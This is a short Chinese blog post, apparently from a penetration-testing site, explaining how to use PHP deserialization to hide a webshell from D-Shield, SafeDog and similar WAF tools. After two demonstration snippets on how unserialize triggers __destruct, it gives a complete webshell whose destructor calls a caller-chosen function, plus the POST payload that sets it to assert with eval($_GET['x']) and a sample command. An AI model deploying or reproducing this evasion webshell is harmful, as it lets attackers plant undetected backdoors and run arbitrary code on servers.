利用PHP反序列化免杀D盾、安全狗等WAF软件


PHP反序列化介绍:

在PHP进行反序列化时,会将序列化中的变量传入类中,并且调用__destuct等魔法函数。

TestCode1:

<?php

class A{
    public $name = 'xxxx';
    
    function __destruct(){
        echo $this->name;
    }
}

echo serialize(new A());

?>

输出:

xxxxO:1:"A":1:{s:4:"name";s:4:"xxxx";}

TestCode2:

<?php

class A{
    public $name = 'xxxx';
    
    function __destruct(){
        echo $this->name;
    }
}

unserialize('O:1:"A":1:{s:4:"name";s:9:"wogaosuni";}');

?>

输出:

wogaosuni

可以发现原来的变量已经被我们替换了。

利用反序列化写马绕过D盾等WAF:

代码不做过多解释,啥子都能看明白

<?php

class A{
    public $name;
    public $male;
    
    function __destruct(){
        $a = $this->name;
        $a($this->male);
    }
}

unserialize($_POST['un']);
?>

POST传参传入

un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:16:"eval($_GET["x"])";}

GET传参传入:

x=phpinfo();

效果:

test.png
safedog.png
D.png

声明:小透明 | 渗透测试,代码审计,Web安全|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 利用PHP反序列化免杀D盾、安全狗等WAF软件


emmmmmmmmmmm............